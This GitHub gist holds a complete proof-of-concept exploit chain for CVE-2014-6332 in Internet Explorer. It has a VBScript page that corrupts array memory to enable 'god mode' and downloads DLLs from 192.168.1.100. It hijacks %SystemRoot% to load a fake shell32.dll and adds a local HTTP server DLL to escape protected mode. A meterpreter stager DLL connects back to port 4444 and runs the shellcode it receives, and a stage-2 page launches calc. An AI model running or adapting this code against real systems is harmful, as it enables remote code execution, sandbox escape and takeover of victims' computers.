Last active
March 30, 2024 15:03
-
-
Save worawit/1213febe36aa8331e092 to your computer and use it in GitHub Desktop.
CVE-2014-6332 PoC to get shell or bypass protected mode
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<!-- | |
CVE-2014-6332 PoC to get meterpreter shell or bypass IE protected mode | |
- Tested on IE11 + Windows 7 64-bit | |
References: | |
- original PoC - http://www.exploit-db.com/exploits/35229/ | |
- http://blog.trendmicro.com/trendlabs-security-intelligence/a-killer-combo-critical-vulnerability-and-godmode-exploitation-on-cve-2014-6332/ | |
- http://security.coverity.com/blog/2014/Nov/eric-lippert-dissects-cve-2014-6332-a-19-year-old-microsoft-bug.html | |
- https://www.blackhat.com/docs/us-14/materials/us-14-Yu-Write-Once-Pwn-Anywhere.pdf | |
- http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/There-s-No-Place-Like-Localhost-A-Welcoming-Front-Door-To-Medium/ba-p/6560786#.U9v5smN5FHb | |
--> | |
<meta http-equiv="x-ua-compatible" content="IE=10"> | |
<script language="javascript"> | |
// get user-agent here because vbscript in IE11 has no "Navigator.UserAgent" | |
var userAgent = navigator.userAgent; | |
var oReq; | |
function getdll(downloadFile) | |
{ | |
oReq = new XMLHttpRequest(); | |
oReq.open("GET", "http://192.168.1.100/"+downloadFile, true); | |
oReq.onreadystatechange = handler; | |
oReq.send(); | |
} | |
function handler() | |
{ | |
if (oReq.readyState == 4 && oReq.status == 200) { | |
OnDownloadDone(); | |
} | |
} | |
function tolocal() | |
{ | |
location.href = "http://localhost:5555/stage2.html" | |
} | |
</script> | |
<script language="VBScript"> | |
' local server files to get medium integrity | |
downloadFiles = Array("ieshell32.dll", "ielocalserver.dll", "stage2.html") | |
cacheRegex = Array("^ieshell32\[\d\].dll$", "^ielocalserver\[\d\].dll$", "^stage2\[\d\].htm$") | |
' reverse meterpreter shell files | |
'downloadFiles = Array("ieshell32.dll", "metp.dll") | |
'cacheRegex = Array("^ieshell32\[\d\].dll$", "^metp\[\d\].dll$") | |
Dim cacheFiles(3) | |
Dim downloadState | |
Dim pinTime | |
Dim oFSO | |
Dim oWS | |
Dim shell | |
function FindFile(path, regexFile) | |
FindFile = "" | |
For Each f in oFSO.GetFolder(path).Files | |
If regexFile.Test(f.Name) Then | |
FindFile = f.Name | |
Exit For | |
End If | |
Next | |
end function | |
function SearchCache(path, regexFile) | |
SearchCache = "" | |
For Each fld in oFSO.GetFolder(path).SubFolders | |
'If DateDiff("s", pinTime, fld.DateLastModified) >= 0 Then | |
filename = FindFile(path & "\" & fld.Name, regexFile) | |
If filename <> "" Then | |
SearchCache = path & "\" & fld.Name & "\" & filename | |
Exit For | |
End If | |
'End If | |
Next | |
end function | |
function loaddll() | |
On Error Resume Next | |
Set wshSystemEnv = oWS.Environment("Process") | |
tmpDir = oFSO.GetSpecialFolder(2) | |
tmpSysDir = tmpDir & "\System32" | |
tmpShellFile = tmpSysDir & "\shell32.dll" | |
oFSO.CreateFolder(tmpSysDir) | |
oFSO.MoveFile cacheFiles(0), tmpShellFile | |
mydllFile = tmpDir & "\" & downloadFiles(1) | |
oFSO.MoveFile cacheFiles(1), mydllFile | |
wshSystemEnv("MyDllPath") = mydllFile | |
If (UBound(downloadFiles) = 2) Then | |
stage2File = tmpDir & "\stage2.html" | |
oFSO.MoveFile cacheFiles(2), stage2File | |
wshSystemEnv("stage2file") = stage2File | |
End If | |
saveRoot = wshSystemEnv("SystemRoot") | |
wshSystemEnv("SaveSystemRoot") = saveRoot | |
wshSystemEnv("SystemRoot") = tmpDir | |
Set shell = CreateObject("Shell.Application") | |
' have to restore %SystemRoot% in dll, not here | |
oFSO.DeleteFile tmpShellFile | |
oFSO.DeleteFolder tmpSysDir | |
If (UBound(downloadFiles) = 2) Then | |
call tolocal() | |
End If | |
end function | |
Sub OnDownloadDone() | |
If InStr(userAgent, "NT 5.") > 0 Then | |
cacheDir = oWS.ExpandEnvironmentStrings("%USERPROFILE%") | |
cacheDir = cacheDir & "\Local Settings\Temporary Internet Files\Content.IE5" | |
Else | |
cacheDir = oWS.ExpandEnvironmentStrings("%LOCALAPPDATA%") | |
cacheDir = cacheDir & "\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5" | |
End If | |
Set regexFile = new regexp | |
regexFile.Pattern = cacheRegex(downloadState) | |
cacheFiles(downloadState) = SearchCache(cacheDir, regexFile) | |
If cacheFiles(downloadState) = "" Then | |
Exit Sub | |
End If | |
If downloadState = UBound(downloadFiles) Then | |
loaddll() | |
Else | |
downloadState = downloadState + 1 | |
DoDownload() | |
End If | |
End Sub | |
Sub DoDownload() | |
pinTime = Now | |
call getdll(downloadFiles(downloadState)) | |
End Sub | |
Sub runshell() | |
Set oFSO = CreateObject("Scripting.FileSystemObject") | |
Set oWS = CreateObject("WScript.Shell") | |
downloadState = 0 | |
DoDownload() | |
End Sub | |
</script> | |
<script language="VBScript"> | |
dim arrX() | |
dim arrY() | |
dim asize | |
dim incsize | |
dim olapPos | |
Begin() | |
function Begin() | |
On Error Resume Next | |
If (instr(userAgent,"MSIE") = 0) Then | |
exit function | |
End If | |
If (instr(userAgent, "Win64") > 0) Then | |
exit function | |
End If | |
Init() | |
If Exploit() = True Then | |
EnableGodMode() | |
redim Preserve arrX(asize) | |
runshell() | |
End If | |
end function | |
function Init() | |
Randomize() | |
asize = 13 + 17*rnd(6) | |
incsize = 7 + 3*rnd(5) | |
end function | |
function Exploit() | |
Exploit = False | |
For i = 0 To 400 | |
asize = asize + incsize | |
If Trigger() = True Then | |
Exploit = True | |
Exit For | |
End If | |
Next | |
end function | |
function Trigger() | |
On Error Resume Next | |
Trigger = False | |
olapPos = asize + 2 | |
ofnumele = asize + &h8000000 | |
redim Preserve arrX(asize*2+1) | |
redim Preserve arrX(asize) | |
redim arrY(asize) | |
redim Preserve arrX(ofnumele) | |
typev = 1 | |
arrY(0) = 1.123456789012345678901234567890 | |
If (IsObject(arrX(olapPos-1)) = False) Then | |
If (VarType(arrX(olapPos-1)) <> 0) Then | |
If (IsObject(arrX(olapPos)) = False) Then | |
typev = VarType(arrX(olapPos)) | |
End If | |
End If | |
End If | |
arrY(0) = 0.0 | |
If (typev = &h2f66) And (VarType(arrX(olapPos)) = 0) Then | |
Trigger = True | |
Else | |
redim Preserve arrX(asize) | |
End If | |
end function | |
function ReadMemInt(addr) | |
arrY(0) = 0 | |
arrX(olapPos) = addr+4 | |
arrY(0) = 8 | |
ReadMemInt = lenb(arrX(olapPos)) | |
end function | |
function EnableGodMode() | |
i = LeakFnAddr() | |
i = ReadMemInt(i+8) | |
i = ReadMemInt(i+16) | |
myarray = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uFFFF%u7FFF%u0000%u0000") | |
arrX(olapPos+2) = myarray | |
arrY(2) = 8192 + 12 | |
EnableGodMode = False | |
For k=0 To &h60 step 4 | |
j = ReadMemInt(i+&h120+k) | |
If (j = 14) Then | |
arrX(olapPos+2)(i+&h11c+k) = arrY(4) | |
EnableGodMode = True | |
Exit For | |
End If | |
Next | |
end function | |
sub dummyfn() | |
end sub | |
function LeakFnAddr() | |
On Error Resume Next | |
i = dummyfn | |
i = null | |
arrY(0) = 0 | |
arrX(olapPos) = i | |
arrY(0) = 3 | |
LeakFnAddr = arrX(olapPos) | |
end function | |
</script> | |
</head> | |
<body> | |
CVE-2014-6332 PoC | |
</body> | |
</html> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Simple local HTTP server for IE (with no AppContainer) privilege escalation. | |
I implemented local server instead of proxy in Ref because | |
local server is easier to code. But local server is less useful then proxy. | |
Ref: | |
http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/There-s-No-Place-Like-Localhost-A-Welcoming-Front-Door-To-Medium/ba-p/6560786#.U9v5smN5FHb | |
Note: | |
From my test, by default IE does not configure intranet site. | |
With this default, localhost is treated as internet site (run as low integrity). | |
*/ | |
#define _CRT_SECURE_NO_WARNINGS | |
#define WIN32_LEAN_AND_MEAN | |
#include <winsock2.h> | |
#include <stdio.h> | |
#include <string.h> | |
#pragma comment(lib, "ws2_32.lib") | |
#define SERVER_PORT 5555 | |
static HANDLE hThread = NULL; | |
static WCHAR stage2file[256]; | |
static SOCKET serverSk = INVALID_SOCKET; | |
static SOCKET peerSk = INVALID_SOCKET; | |
static SOCKET create_server() | |
{ | |
struct sockaddr_in skAddr; | |
SOCKET sk; | |
int optval; | |
sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); | |
if (sk == INVALID_SOCKET) | |
return INVALID_SOCKET; | |
optval = 1; | |
setsockopt(sk, SOL_SOCKET, SO_REUSEADDR, (char*) &optval, sizeof(optval)); | |
memset(&skAddr, 0, sizeof(skAddr)); | |
skAddr.sin_family = AF_INET; | |
skAddr.sin_port = htons(SERVER_PORT); | |
skAddr.sin_addr.s_addr = inet_addr("127.0.0.1"); | |
if (bind(sk, (struct sockaddr *) &skAddr, sizeof(skAddr)) != 0) | |
goto on_error; | |
if (listen(sk, 5) != 0) | |
goto on_error; | |
return sk; | |
on_error: | |
closesocket(sk); | |
return SOCKET_ERROR; | |
} | |
static int send_all(SOCKET sk, char *buffer, int size) | |
{ | |
int len; | |
while (size > 0) { | |
len = send(sk, buffer, size, 0); | |
if (len <= 0) | |
return 0; | |
buffer += len; | |
size -= len; | |
} | |
return 1; | |
} | |
static int local_server() | |
{ | |
int len; | |
int totalSize; | |
char buffer[4096]; | |
HANDLE hFile = INVALID_HANDLE_VALUE; | |
serverSk = create_server(); | |
if (serverSk == INVALID_SOCKET) | |
return SOCKET_ERROR; | |
while (1) { | |
peerSk = accept(serverSk, NULL, NULL); | |
if (peerSk == INVALID_SOCKET) { | |
continue; | |
} | |
len = recv(peerSk, buffer, sizeof(buffer), 0); | |
if (len <= 0) | |
goto closepeer; | |
hFile = CreateFile(stage2file, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); | |
if (hFile == INVALID_HANDLE_VALUE) | |
break; | |
totalSize = GetFileSize(hFile, NULL); | |
if (totalSize == INVALID_FILE_SIZE) | |
break; | |
len = _snprintf(buffer, sizeof(buffer), | |
"HTTP/1.1 200 OK\r\n" | |
"Content-Type: text/html\r\n" | |
"Connection: Close\r\n" | |
"Content-Length: %d\r\n" | |
"\r\n", | |
totalSize | |
); | |
send_all(peerSk, buffer, len); | |
while (totalSize > 0) { | |
ReadFile(hFile, buffer, sizeof(buffer), (DWORD*) &len, NULL); | |
send_all(peerSk, buffer, len); | |
totalSize -= len; | |
} | |
CloseHandle(hFile); | |
hFile = INVALID_HANDLE_VALUE; | |
closepeer: | |
closesocket(peerSk); | |
peerSk = INVALID_SOCKET; | |
} | |
if (hFile != INVALID_HANDLE_VALUE) { | |
CloseHandle(hFile); | |
} | |
if (peerSk != INVALID_SOCKET) { | |
closesocket(peerSk); | |
peerSk = INVALID_SOCKET; | |
} | |
if (serverSk != INVALID_SOCKET) { | |
closesocket(serverSk); | |
serverSk = INVALID_SOCKET; | |
} | |
return 0; | |
} | |
DWORD WINAPI threadProc(void *param) | |
{ | |
WSADATA wsaData; | |
WSAStartup(MAKEWORD(2 ,2), &wsaData); | |
local_server(); | |
WSACleanup(); | |
DeleteFile(stage2file); | |
return 0; | |
} | |
void do_work() | |
{ | |
GetEnvironmentVariableW(L"stage2file", stage2file, sizeof(stage2file)); | |
hThread = CreateThread(NULL, 0, threadProc, NULL, 0, NULL); | |
} | |
BOOL APIENTRY DllMain( HMODULE hModule, | |
DWORD ul_reason_for_call, | |
LPVOID lpReserved | |
) | |
{ | |
switch (ul_reason_for_call) | |
{ | |
case DLL_PROCESS_ATTACH: | |
do_work(); | |
break; | |
case DLL_PROCESS_DETACH: | |
if (hThread) { | |
WaitForSingleObject(hThread, INFINITE); | |
CloseHandle(hThread); | |
} | |
break; | |
} | |
return TRUE; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Fake shell32.dll to be loaded after modified %SystemRoot% | |
*/ | |
#define WIN32_LEAN_AND_MEAN | |
#include <windows.h> | |
static void do_work() | |
{ | |
WCHAR envBuffer[256]; | |
GetEnvironmentVariableW(L"SaveSystemRoot", envBuffer, sizeof(envBuffer)); | |
// restore system root | |
SetEnvironmentVariableW(L"SystemRoot", envBuffer); | |
//SetEnvironmentVariableW(L"SaveSystemRoot", NULL); | |
GetEnvironmentVariableW(L"MyDllPath", envBuffer, sizeof(envBuffer)); | |
SetEnvironmentVariableW(L"MyDllPath", NULL); | |
// shell32.dll will be unloaded, use another dll | |
LoadLibraryExW(envBuffer, NULL, LOAD_WITH_ALTERED_SEARCH_PATH); | |
} | |
BOOL APIENTRY DllMain( HMODULE hModule, | |
DWORD ul_reason_for_call, | |
LPVOID lpReserved | |
) | |
{ | |
switch (ul_reason_for_call) | |
{ | |
case DLL_PROCESS_ATTACH: | |
do_work(); | |
break; | |
case DLL_PROCESS_DETACH: | |
break; | |
} | |
return TRUE; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
meterpreter stager | |
use with metasploit module exploit/multi/handler | |
- PAYLOAD windows/meterpreter/reverse_tcp | |
- EXITFUNC thread | |
*/ | |
#define WIN32_LEAN_AND_MEAN | |
#include <winsock2.h> | |
#pragma comment(lib, "ws2_32.lib") | |
static HANDLE hThread = NULL; | |
int connect_back() | |
{ | |
int payloadLen; | |
char *payload; | |
void (*func)(); | |
struct sockaddr_in skAddr; | |
int len; | |
SOCKET sk; | |
WSADATA wsaData; | |
WSAStartup(MAKEWORD(2 ,2), &wsaData); | |
sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); | |
if (sk == INVALID_SOCKET) | |
return SOCKET_ERROR; | |
skAddr.sin_family = AF_INET; | |
skAddr.sin_port = htons(4444); | |
skAddr.sin_addr.s_addr = inet_addr("192.168.1.100"); | |
if (connect(sk, (struct sockaddr *) &skAddr, sizeof(skAddr)) != 0) | |
return SOCKET_ERROR; | |
len = recv(sk, (char*)&payloadLen, 4, 0); | |
if (len != 4) | |
return -2; | |
payload = (char*)VirtualAlloc(NULL, payloadLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); | |
func = (void (*)()) payload; | |
while (payloadLen > 0) { | |
len = recv(sk, payload, payloadLen, 0); | |
payload += len; | |
payloadLen -= len; | |
} | |
__asm mov edi, sk; | |
(func)(); | |
return 0; | |
} | |
DWORD WINAPI threadProc(void *param) | |
{ | |
connect_back(); | |
return 0; | |
} | |
void do_work() | |
{ | |
hThread = CreateThread(NULL, 0, threadProc, NULL, 0, NULL); | |
} | |
BOOL APIENTRY DllMain( HMODULE hModule, | |
DWORD ul_reason_for_call, | |
LPVOID lpReserved | |
) | |
{ | |
switch (ul_reason_for_call) | |
{ | |
case DLL_PROCESS_ATTACH: | |
do_work(); | |
break; | |
case DLL_PROCESS_DETACH: | |
if (hThread) { | |
WaitForSingleObject(hThread, INFINITE); | |
CloseHandle(hThread); | |
} | |
break; | |
} | |
return TRUE; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<meta http-equiv="x-ua-compatible" content="IE=10"> | |
<script language="VBScript"> | |
Sub runshell() | |
Set shell = CreateObject("Shell.Application") | |
shell.ShellExecute "calc.exe" | |
End Sub | |
</script> | |
<script language="VBScript"> | |
dim arrX() | |
dim arrY() | |
dim asize | |
dim incsize | |
dim olapPos | |
Begin() | |
function Begin() | |
On Error Resume Next | |
Init() | |
If Exploit() = True Then | |
EnableGodMode() | |
redim Preserve arrX(asize) | |
runshell() | |
End If | |
end function | |
function Init() | |
Randomize() | |
asize = 13 + 17*rnd(6) | |
incsize = 7 + 3*rnd(5) | |
end function | |
function Exploit() | |
Exploit = False | |
For i = 0 To 400 | |
asize = asize + incsize | |
If Trigger() = True Then | |
Exploit = True | |
Exit For | |
End If | |
Next | |
end function | |
function Trigger() | |
On Error Resume Next | |
Trigger = False | |
olapPos = asize + 2 | |
ofnumele = asize + &h8000000 | |
redim Preserve arrX(asize*2+1) | |
redim Preserve arrX(asize) | |
redim arrY(asize) | |
redim Preserve arrX(ofnumele) | |
typev = 1 | |
arrY(0) = 1.123456789012345678901234567890 | |
If (IsObject(arrX(olapPos-1)) = False) Then | |
If (VarType(arrX(olapPos-1)) <> 0) Then | |
If (IsObject(arrX(olapPos)) = False) Then | |
typev = VarType(arrX(olapPos)) | |
End If | |
End If | |
End If | |
arrY(0) = 0.0 | |
If (typev = &h2f66) And (VarType(arrX(olapPos)) = 0) Then | |
Trigger = True | |
Else | |
redim Preserve arrX(asize) | |
End If | |
end function | |
function ReadMemInt(addr) | |
arrY(0) = 0 | |
arrX(olapPos) = addr+4 | |
arrY(0) = 8 | |
ReadMemInt = lenb(arrX(olapPos)) | |
end function | |
function EnableGodMode() | |
i = LeakFnAddr() | |
i = ReadMemInt(i+8) | |
i = ReadMemInt(i+16) | |
myarray = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uFFFF%u7FFF%u0000%u0000") | |
arrX(olapPos+2) = myarray | |
arrY(2) = 8192 + 12 | |
EnableGodMode = False | |
For k=0 To &h60 step 4 | |
j = ReadMemInt(i+&h120+k) | |
If (j = 14) Then | |
arrX(olapPos+2)(i+&h11c+k) = arrY(4) | |
EnableGodMode = True | |
Exit For | |
End If | |
Next | |
end function | |
sub dummyfn() | |
end sub | |
function LeakFnAddr() | |
On Error Resume Next | |
i = dummyfn | |
i = null | |
arrY(0) = 0 | |
arrX(olapPos) = i | |
arrY(0) = 3 | |
LeakFnAddr = arrX(olapPos) | |
end function | |
</script> | |
</head> | |
<body> | |
stage2 | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment